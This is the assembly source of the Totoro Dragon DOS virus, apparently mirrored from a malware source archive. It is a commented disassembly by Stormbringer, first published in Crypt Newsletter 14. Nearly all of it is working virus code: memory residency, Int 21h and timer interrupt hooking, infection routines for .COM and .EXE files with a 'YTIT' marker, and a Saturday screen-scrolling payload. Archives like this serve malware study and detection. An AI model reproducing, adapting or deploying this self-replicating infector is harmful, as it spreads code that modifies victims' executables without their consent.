mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
714 lines
18 KiB
NASM
714 lines
18 KiB
NASM
;TOTORO DRAGON disassembly. Included, for your pleasure, in Crypt
|
|
;Newsletter 14. Profuse thanks to Stormbringer, wherever he is.
|
|
|
|
;***************************************************************************
|
|
;* The Totoro Dragon Virus from Taiwan *
|
|
;***************************************************************************
|
|
;* This virus is a fairly simple resident .EXE/.COM infector. It goes *
|
|
;*resident by re-executing the infected file and using Int 21, function 31.*
|
|
;*When it infects a .COM, it puts itself at the beginning of the file and *
|
|
;*starts the host at an offset of 600h (700h in memory), giving the virus *
|
|
;*an effective length of 1536 bytes, plus an extra 4 bytes for its marker *
|
|
;*at the end ("YTIT"). It infects .EXE files using the "standard" method. *
|
|
;*While it does save file attributes, the time and date change when a file *
|
|
;*is infected. The virus activates on Saturdays. When active, it installs*
|
|
;*an Int 08 (Timer click) handler that counts to 0CCCh, then shoves the *
|
|
;*text off the screen and prints the following in the upper left-hand *
|
|
;*corner: *
|
|
;* *
|
|
;* ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ· *
|
|
;* º Totoro Dragon º *
|
|
;* ºHello! I am TOTORO CATº *
|
|
;* º Written by Y.T.J.C.T º *
|
|
;* º in Ping Tung. TAIWAN º *
|
|
;* º Don't Worry,be Happy º *
|
|
;* ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ *
|
|
;* *
|
|
;*It then restarts the counter and does it again. Other that this effect, *
|
|
;*the virus seems relatively harmless. *
|
|
;* *
|
|
;* *
|
|
;* Disassembly by Stormbringer *
|
|
;***************************************************************************
|
|
.model tiny
|
|
.radix 16
|
|
.code
|
|
org 100h
|
|
|
|
start:
|
|
jmp short COM_Entry_Point
|
|
nop
|
|
;***************************************************************************
|
|
;* Data Tables *
|
|
;***************************************************************************
|
|
File_Size_Off dw 5
|
|
File_Size_Seg dw 0
|
|
TSR_DAT dw 4262h
|
|
DS_Save dw 0F21h
|
|
ES_Save dw 0F21h
|
|
File_Attribs dw 20h
|
|
IP_Save dw 0
|
|
CS_Save dw 0F99
|
|
SP_Save dw 0
|
|
SS_Save dw 0
|
|
File_Type db 'C'
|
|
|
|
Wasted_Space db 0, 0, 0 ;?
|
|
|
|
;********************************************
|
|
; EXE_Header ;
|
|
;********************************************
|
|
EXE_Sig db 'MZ'
|
|
Last_Page_Len dw 14h
|
|
EXE_Size dw 5
|
|
Rel_Tbl_Items dw 0
|
|
Header_Size dw 20h
|
|
Minalloc dw 0
|
|
Maxalloc dw 0ffff
|
|
Init_SS dw 1
|
|
Init_SP dw 700h
|
|
Checksum dw 0
|
|
Init_IP dw 91h
|
|
Init_CS dw 1
|
|
First_Rel dw 001Eh
|
|
Overlay_Num dw 0
|
|
;********************************************
|
|
|
|
CS_Store dw 0
|
|
Command db 'COMMAND.COM', 0
|
|
db 00h, 80h, 00h
|
|
ES_Store_1 dw 0F21h
|
|
dw 5Ch
|
|
ES_Store_2 dw 0F21h
|
|
dw 6Ch
|
|
ES_Store_3 dw 0F21h
|
|
File_Handle dw 5
|
|
|
|
Buffer_For_Checks db 0
|
|
db 4Ch,0CDh, 21h
|
|
|
|
File_Name_Off dw 469h
|
|
File_Name_Seg dw 0DF5h
|
|
db 0
|
|
Mem_Seg dw 0F93h
|
|
IP_24 dw 156h
|
|
CS_24 dw 0DF5h
|
|
|
|
;************************************************************************
|
|
;* Virus Entry Point #1 (COM) *
|
|
;************************************************************************
|
|
COM_Entry_Point:
|
|
mov ax,0F1F1h ;Is the virus in memory?
|
|
int 21h
|
|
mov cs:CS_Store,0
|
|
mov cs:[ES_Save],es
|
|
cmp ax,0F1F1h ;AX preserved?
|
|
je Already_Installed ;Same? go Already_Installed
|
|
jmp Install_Virus ;Not In Mem? go Install_Virus
|
|
|
|
Already_Installed: ;Restore control to host file (COM)
|
|
mov ax,cs
|
|
mov es,ax ;ES = DS = CS
|
|
mov ds,ax
|
|
mov ah,0CBh ;Restore Control
|
|
mov si,700h ;Offset of host in file
|
|
mov di,100h ;Original offset of host
|
|
mov cx,cs:[File_Size_Off] ;Size of host file
|
|
|
|
int 21h ;Call internal routine to restore control
|
|
;to host .COM file.
|
|
|
|
;************************************************************************
|
|
;* Virus Entry Point #2 (EXE) *
|
|
;************************************************************************
|
|
EXE_Entry_Point:
|
|
mov ax,cs
|
|
sub ax,10h
|
|
push ax
|
|
mov ax,offset After_Jump
|
|
push ax
|
|
retf ;Jump to After_Jump with
|
|
;original .COM offsets.
|
|
After_Jump:
|
|
mov cs:[ES_Save],es
|
|
mov cs:[DS_Save],ds
|
|
mov ax,0F1F1h
|
|
int 21h
|
|
cmp ax,0F1F1h ;Check if installed.
|
|
jne Get_New_Seg ;Nope, Install....
|
|
|
|
cli
|
|
mov ax,cs:[SS_Save] ;Yes, restore host regs
|
|
add ax,10h
|
|
mov bx,es
|
|
add ax,bx
|
|
mov ss,ax
|
|
mov sp,cs:[SP_Save]
|
|
sti
|
|
|
|
mov ax,cs:[CS_Store]
|
|
mov bx,es
|
|
add ax,bx
|
|
add ax,10h
|
|
mov word ptr cs:[IP_Save+2],ax
|
|
jmp dword ptr cs:[IP_Save] ;Restore Control to
|
|
;.EXE host.
|
|
|
|
Get_New_Seg:
|
|
push es ;For later RETF
|
|
xor ax,ax
|
|
mov ds,ax ;DS = 0
|
|
|
|
;****************************************************************************
|
|
;*NOTE: From 0:200 to 0:400 there is some "empty" space, as it is the upper *
|
|
;* (unused) part of the interrupt tables. This virus uses the top three*
|
|
;* bytes, i.e. the INT 99 entry, to run a repnz movsb command followed *
|
|
;* by a retf. This is to copy the virus to a new segment in memory and*
|
|
;* jump to it. *
|
|
;****************************************************************************
|
|
|
|
mov word ptr ds:[3fdh],0A4F3h ;repnz movsb
|
|
mov byte ptr ds:[3ffh],0CBh ;retf
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
mov si,100h
|
|
mov di,si ;Copy virus to new segment
|
|
mov cx,600h ;and "RETF" to
|
|
mov ax,offset Install_Virus ;Install_Virus in new copy
|
|
push ax
|
|
db 0EAh,0FDh, 03h, 00h, 00h ;Jump far 0:3FDh
|
|
|
|
Install_Virus:
|
|
cli ;Disable interrupts
|
|
push cs
|
|
pop ds
|
|
mov ah,2Ah
|
|
int 21h ;Get Day/Date
|
|
|
|
cmp al,6 ;Is it Saturday?
|
|
jne Set_Int_21 ;Nope, don't activate, just
|
|
mov ax,3508h ;infect files.
|
|
int 21h ;Get Int 08 address
|
|
|
|
mov word ptr cs:[IP_08],bx
|
|
mov word ptr cs:[CS_08],es
|
|
mov dx,offset Int_08
|
|
mov ax,2508h
|
|
int 21h ;Set Int 08
|
|
|
|
Set_Int_21:
|
|
mov ax,3521h
|
|
int 21h ;Get Int 21 address
|
|
|
|
mov word ptr cs:[IP_21],bx
|
|
mov word ptr cs:[CS_21],es
|
|
mov dx,offset Int_21
|
|
mov ax,2521h
|
|
int 21h ;Set Int_21
|
|
|
|
mov es,cs:[ES_Save]
|
|
cmp cs:[TSR_DAT],426Bh ;Second Execute?
|
|
je Go_TSR ;Yep, go TSR
|
|
|
|
mov bx,1000h ;Nope, set up for second exec.
|
|
mov ah,4Ah
|
|
int 21h ;Change Mem Allocation
|
|
;to 64k.
|
|
|
|
mov es,es:[2ch] ;Environment string
|
|
xor di,di
|
|
xor al,al
|
|
mov cx,7FFFh
|
|
|
|
Find_Filename: ;Search Environment for
|
|
repne scasb ;filename of host.
|
|
cmp es:[di],al
|
|
loopnz Find_Filename
|
|
|
|
add di,3 ;Skip drive designator
|
|
;i.e. "C:\" in
|
|
;"C:\Infected.EXE"
|
|
mov dx,di
|
|
|
|
push es
|
|
pop ds ;DS:DX = host filename
|
|
push cs
|
|
pop es
|
|
|
|
cli ;Clears Ints (so none can
|
|
;disrupt second execution
|
|
;of virus)
|
|
|
|
mov ax,cs:[ES_Save]
|
|
mov cs:[ES_Store_1],ax
|
|
mov cs:[ES_Store_2],ax
|
|
mov cs:[ES_Store_3],ax
|
|
mov bx,144h
|
|
mov ax,4B00h ;Re-Execute the file
|
|
pushf
|
|
call dword ptr cs:[IP_21] ;Call Int 21 to Execute file.
|
|
|
|
Go_TSR:
|
|
mov ah,31h
|
|
mov dx,71h
|
|
int 21h ;Terminate and Stay Resident.
|
|
|
|
Int_21:
|
|
pushf ;Push flags
|
|
cmp ax,0F1F1h ;Is it an Install Check?
|
|
jne Is_It_Execute ;No, Go Is_It_Execute
|
|
mov ax,0F1F1h ;Yes, save value (unneccesary)
|
|
popf
|
|
iret ;Return to virus in program.
|
|
|
|
Is_It_Execute:
|
|
cmp ax,4B00h ;Is it a Load & Execute call?
|
|
jne Restore_Host ;Nope, continue on.
|
|
call execute ;Infect the file if possible.
|
|
jmp short Go_Int_21 ;And go to old Int 21 handler.
|
|
nop
|
|
Restore_Host:
|
|
cmp ah,0CBh ;Is it a request to restore
|
|
jne Go_Int_21 ;control to host?
|
|
pop ax ax ;Pop flags + Old IP (not kept)
|
|
mov word ptr cs:[IP_Save],100h
|
|
pop ax
|
|
mov word ptr cs:[IP_Save+2],ax
|
|
rep movsb ;Restore Host to orig. Pos.
|
|
popf ;Completely remove old Int call
|
|
mov ax,0
|
|
jmp dword ptr cs:[IP_Save] ;Jump to Host:100
|
|
Go_Int_21:
|
|
popf ; Pop flags
|
|
|
|
db 0ea ;Jump to Int 21
|
|
IP_21 dw 040ebh
|
|
CS_21 dw 0011
|
|
|
|
|
|
execute:
|
|
push es ds ax bx cx dx si di
|
|
mov cs:[File_Name_Seg],ds
|
|
mov cs:[File_Name_Off],dx
|
|
mov ax,3524h ;Get Int 24 Address
|
|
int 21h ;(Critical Error)
|
|
|
|
mov cs:[IP_24],bx
|
|
mov cs:[CS_24],es
|
|
push cs
|
|
pop ds
|
|
mov dx,offset Int_24
|
|
mov ax,2524h
|
|
int 21h ;Set Int 24
|
|
|
|
mov ds,cs:[File_Name_Seg]
|
|
mov si,cs:[File_Name_Off]
|
|
|
|
Name_Check:
|
|
lodsb
|
|
or al,al ;Is the first byte a zero?
|
|
jnz Name_Check ;Nope, find end of string
|
|
mov al,[si-2]
|
|
and al,0DFh
|
|
cmp al,4Dh ;'M'
|
|
je Is_Com ;COM file, jump Is_Com
|
|
cmp al,45h ;'E'
|
|
je Is_EXE ;EXE file, jump Is_EXE
|
|
jmp Clean_Up ;Neither? Go Clean_Up
|
|
Is_Com:
|
|
mov cs:[File_Type],'C' ;Save File type for later.
|
|
jmp short Check_If_Command
|
|
nop
|
|
Is_EXE:
|
|
mov cs:[File_Type],'E'
|
|
|
|
Check_If_Command:
|
|
sub si,0Ch
|
|
mov di,offset Command
|
|
push cs
|
|
pop es
|
|
mov cx,0Bh ;Is it Command.COM?
|
|
repe cmpsb
|
|
jnz Start_Infect ;No, Jump Start_Infect
|
|
Got_An_Error:
|
|
jmp Clean_Up ;Is Command, get otta here.
|
|
|
|
Start_Infect:
|
|
mov ds,cs:[File_Name_Seg]
|
|
mov dx,cs:[File_Name_Off]
|
|
mov ax,4300h
|
|
int 21h ;Get Attribs
|
|
|
|
jc Got_An_Error
|
|
mov cs:[File_Attribs],cx
|
|
xor cx,cx
|
|
mov ax,4301h
|
|
int 21h ;Zero Attrib's for read/write
|
|
|
|
jc Got_An_Error
|
|
mov ax,3D02h
|
|
int 21h ;Open Read/Write
|
|
|
|
jnc Check_Infect ;Everything Fine? go Check_Infect
|
|
jmp Reset_Attribs ;Couldn't Open, go Reset_Attribs
|
|
|
|
Check_Infect:
|
|
mov bx,ax
|
|
mov cs:[File_Handle],ax
|
|
mov cx,0FFFFh
|
|
mov dx,0FFFCh
|
|
mov ax,4202h
|
|
int 21h ;Move to 4 bytes from end
|
|
|
|
add ax,4
|
|
mov cs:[File_Size_Off],ax
|
|
push cs
|
|
pop ds
|
|
mov dx,offset Buffer_For_Checks
|
|
mov cx,4
|
|
mov ah,3Fh
|
|
int 21h
|
|
;Read in Last 4 bytes of file
|
|
push cs
|
|
pop es
|
|
mov cx,4
|
|
mov si,offset Marker ;are last 4 bytes 'YTIT'?
|
|
mov di,offset Buffer_For_Checks ;
|
|
repe cmpsb
|
|
jnz Check_Which_Type ;Not infected? Go Check_Which_Type
|
|
jmp Close_File ;Infected? Go Close_File
|
|
|
|
Check_Which_Type:
|
|
cmp cs:[File_Type],'C' ;Is it a .COM?
|
|
je COM_Infect ;Yes, go COM_Infect
|
|
jmp EXE_Infect ;No, go EXE_Infect
|
|
|
|
COM_Infect:
|
|
mov ah,48h
|
|
mov bx,1000h
|
|
int 21h ;Allocate 64k of memory
|
|
|
|
jnc Load_In_File ;No Prob? Go Load_In_File
|
|
jmp Close_File ;Otherwise, go Close_File
|
|
|
|
Load_In_File:
|
|
mov cs:[Mem_Seg],ax
|
|
mov bx,cs:[File_Handle]
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4200h
|
|
int 21h ;Go to beginning of file
|
|
|
|
push cs
|
|
pop ds
|
|
mov es,cs:[Mem_Seg]
|
|
|
|
mov si,100
|
|
|
|
mov di,si
|
|
mov cx,700h
|
|
rep movsb
|
|
mov ds,cs:Mem_Seg
|
|
mov cx,cs:[File_Size_Off]
|
|
mov dx,700h
|
|
mov ah,3Fh ;Load entire file to directly
|
|
int 21h ;after virus.
|
|
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4200h
|
|
int 21h ;Move to the beginning of file
|
|
|
|
mov dx,100h
|
|
mov cx,cs:[File_Size_Off]
|
|
add cx,600h
|
|
mov ah,40h
|
|
int 21h ;Write entire file back to disk
|
|
|
|
jc Go_Release_Mem
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4202h
|
|
int 21h ;Move to end of file
|
|
|
|
mov cs:[File_Size_Seg],0 ;COM < 64k
|
|
add ax,4 ;Add 4 for marker bytes
|
|
mov cs:[File_Size_Off],ax ;Save file size
|
|
push cs
|
|
pop ds
|
|
mov dx,offset Marker
|
|
mov cx,4
|
|
mov ah,40h
|
|
int 21h ;Write in marker 'YTIT'
|
|
|
|
Go_Release_Mem:
|
|
jmp Release_Mem
|
|
jmp Close_File
|
|
|
|
EXE_Infect:
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4200h
|
|
int 21h ;Move to beginning of file
|
|
|
|
push cs
|
|
pop ds
|
|
db 8dh,16h,1bh,01 ;lea dx,cs:[11Bh]
|
|
mov cx,1Ch
|
|
mov ah,3Fh
|
|
int 21h ;Read in .EXE header
|
|
|
|
Save_Header_NFO:
|
|
cli ;clear ints
|
|
mov ax,cs:[Init_CS]
|
|
mov cs:[CS_Store],ax ;Save old CS
|
|
mov ax,cs:[Init_IP]
|
|
mov word ptr cs:[IP_Save],ax ;Save old IP
|
|
mov ax,cs:[Init_SS]
|
|
mov cs:[SS_Save],ax ;Save old SS
|
|
mov ax,cs:[Init_SP]
|
|
mov cs:[SP_Save],ax ;Save old SP
|
|
sti ;restore ints
|
|
|
|
xor ax,ax
|
|
cmp cs:[Last_Page_Len],0
|
|
je Calculate_Exe_Header
|
|
dec cs:[EXE_Size]
|
|
|
|
Calculate_Exe_Header: ;Long, drawn out way
|
|
;to calculate new EXE header
|
|
mov cx,200h
|
|
xor dx,dx
|
|
mov ax,cs:[EXE_Size]
|
|
mul cx
|
|
add ax,cs:[Last_Page_Len]
|
|
add ax,0Fh
|
|
adc dx,0
|
|
and ax,0FFF0h
|
|
mov cs:[File_Size_Off],ax
|
|
mov cs:[File_Size_Seg],dx
|
|
push dx ax dx ax
|
|
xor dx,dx
|
|
mov ax,cs:[Header_Size]
|
|
mov cx,10h
|
|
mul cx
|
|
pop bx cx
|
|
sub bx,ax
|
|
sbb cx,dx
|
|
xchg ax,bx
|
|
xchg dx,cx
|
|
mov cx,10h
|
|
div cx
|
|
mov cs:[Init_CS],ax
|
|
mov cs:[Init_SS],ax
|
|
mov cs:[Init_SP],700h
|
|
mov cs:[Init_IP],offset EXE_Entry_Point-100
|
|
pop ax dx
|
|
push dx ax
|
|
add ax,604h
|
|
adc dx,0
|
|
mov cx,200h
|
|
div cx
|
|
mov cs:Last_Page_Len,dx
|
|
or dx,dx
|
|
jz Rewrite_Header
|
|
inc ax
|
|
|
|
Rewrite_Header:
|
|
mov cs:[EXE_Size],ax
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov bx,cs:[File_Handle]
|
|
mov ax,4200h
|
|
int 21h ;Move back to beginning of file
|
|
|
|
push cs
|
|
pop ds
|
|
mov dx,offset EXE_Sig
|
|
mov cx,1Ch
|
|
mov ah,40h
|
|
int 21h ;Write EXE header back to file
|
|
|
|
pop dx
|
|
pop cx
|
|
jc Close_File
|
|
mov ax,4200h
|
|
int 21h ;Go to end of host.
|
|
|
|
push cs
|
|
pop ds
|
|
mov dx,100
|
|
mov cx,600h
|
|
mov ah,40h
|
|
int 21h ;Write Virus
|
|
jc Close_File
|
|
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4202h
|
|
int 21h ;Go to end of file.
|
|
|
|
mov dx,offset Marker
|
|
mov cx,4
|
|
mov ah,40h
|
|
int 21h ;Write marker byte.
|
|
|
|
jmp short Close_File
|
|
nop
|
|
Release_Mem:
|
|
mov es,cs:Mem_Seg
|
|
mov ah,49h
|
|
int 21h ;Release Memory
|
|
|
|
Close_File:
|
|
mov ah,3Eh
|
|
mov bx,cs:[File_Handle]
|
|
int 21h ;Close file.
|
|
|
|
Reset_Attribs:
|
|
mov ds,cs:File_Name_Seg
|
|
mov dx,cs:File_Name_Off
|
|
mov cx,cs:File_Attribs
|
|
mov ax,4301h
|
|
int 21h ;Reset File attributes
|
|
|
|
Clean_Up:
|
|
mov ds,cs:[CS_24] ;Restore Critical Error
|
|
mov dx,cs:[IP_24]
|
|
mov ax,2524h
|
|
int 21h
|
|
|
|
pop di si dx cx bx ax ds es
|
|
retn
|
|
|
|
|
|
Int_24: ;Critical Error Handler
|
|
xor ax,ax
|
|
iret
|
|
|
|
Int_08: ;Timer Click Handler
|
|
pushf
|
|
inc cs:[Activation_Counter]
|
|
cmp cs:[Activation_Counter],0CCCh
|
|
jne Go_Int_08
|
|
mov cs:[Activation_Counter],0 ;Reset Counter
|
|
push ds es si di ax bx cx dx
|
|
call Get_Mode
|
|
call Scroll_Area
|
|
call Print_Message
|
|
pop dx cx bx ax di si es ds
|
|
Go_Int_08:
|
|
popf ; Pop flags
|
|
db 0EA
|
|
IP_08 dw 003Ch
|
|
CS_08 dw 0D80h
|
|
|
|
Screen_Width dw 0
|
|
Activation_Counter dw 1E0h
|
|
|
|
Get_Mode:
|
|
mov ah,0Fh
|
|
int 10h ;Get Video Mode
|
|
|
|
mov bx,0B000h ;Mode 7 Text Video Memory
|
|
mov es,bx
|
|
cmp al,7
|
|
je In_Mode_7
|
|
mov bx,0B800h ;Regular Text Video Memory
|
|
In_Mode_7:
|
|
mov es,bx
|
|
mov ds,bx
|
|
mov cs:[Screen_Width],4Fh
|
|
|
|
Setup_Screen:
|
|
mov cx,19h
|
|
mov bx,0
|
|
Clear_Screen:
|
|
push cx
|
|
call Scroll_Line
|
|
add bx,0A0h
|
|
pop cx
|
|
loop Clear_Screen
|
|
|
|
dec cs:[Screen_Width]
|
|
jnz Setup_Screen
|
|
retn
|
|
|
|
Scroll_Line: ;This subroutine clears the
|
|
mov di,bx ;screen by scrolling the text
|
|
mov si,bx ;straight off of the left
|
|
add si,2 ;side.
|
|
mov cx,cs:[Screen_Width]
|
|
|
|
Scroll_Sideways:
|
|
lodsb
|
|
stosb
|
|
inc si
|
|
inc di
|
|
loop Scroll_Sideways
|
|
retn
|
|
|
|
Print_Message:
|
|
xor bx,bx
|
|
push cs
|
|
pop ds
|
|
db 8dh,36h,18h,06 ;lea si,cs:[Totoro_Design]
|
|
mov ah,0Eh
|
|
Print_Loop:
|
|
lodsb
|
|
int 10h ;Write Char in Teletype mode
|
|
cmp byte ptr [si],24h ;is it a '$'?
|
|
jne Print_Loop ;Nope, continue writing
|
|
retn
|
|
|
|
Scroll_Area:
|
|
xor bx,bx ;Video Page 0
|
|
mov ah,3
|
|
int 10h ;Get Cursor info
|
|
|
|
push dx ;Push Cursor Location (DX)
|
|
mov ah,6
|
|
mov bh,7
|
|
mov al,18h
|
|
xor cx,cx
|
|
mov dh,18h
|
|
mov dl,4Fh
|
|
int 10h ;Scroll up (clear screen)
|
|
|
|
mov ah,2
|
|
pop dx
|
|
sub dh,2
|
|
xor bx,bx
|
|
int 10h ;Reset Cursor
|
|
|
|
xor bx,bx
|
|
xor dx,dx
|
|
mov ah,2
|
|
int 10h ;Set Cursor for printing.
|
|
retn
|
|
|
|
Totoro_Design:
|
|
db ' ÖÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·',0Dh, 0Ah
|
|
db ' º Totoro Dragon º',0Dh, 0Ah
|
|
db ' ºHello! I am TOTORO CATº',0Dh, 0Ah
|
|
db ' º Written by Y.T.J.C.T º',0Dh, 0Ah
|
|
db ' º in Ping Tung. TAIWAN º',0Dh, 0Ah
|
|
db ' º Don''t Worry,be Happy º',0Dh, 0Ah
|
|
db ' ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĽ$'
|
|
Marker db 'YTIT'
|
|
db 28 dup (0)
|
|
|
|
;***************************************************************************
|
|
;*End of virus. The bytes below this line are the infected program and the *
|
|
;* viruses' identification bytes. *
|
|
;***************************************************************************
|
|
|
|
Host_Program:
|
|
mov ax,4c00
|
|
int 21
|
|
|
|
Infected_Mark db 'YTIT'
|
|
end start
|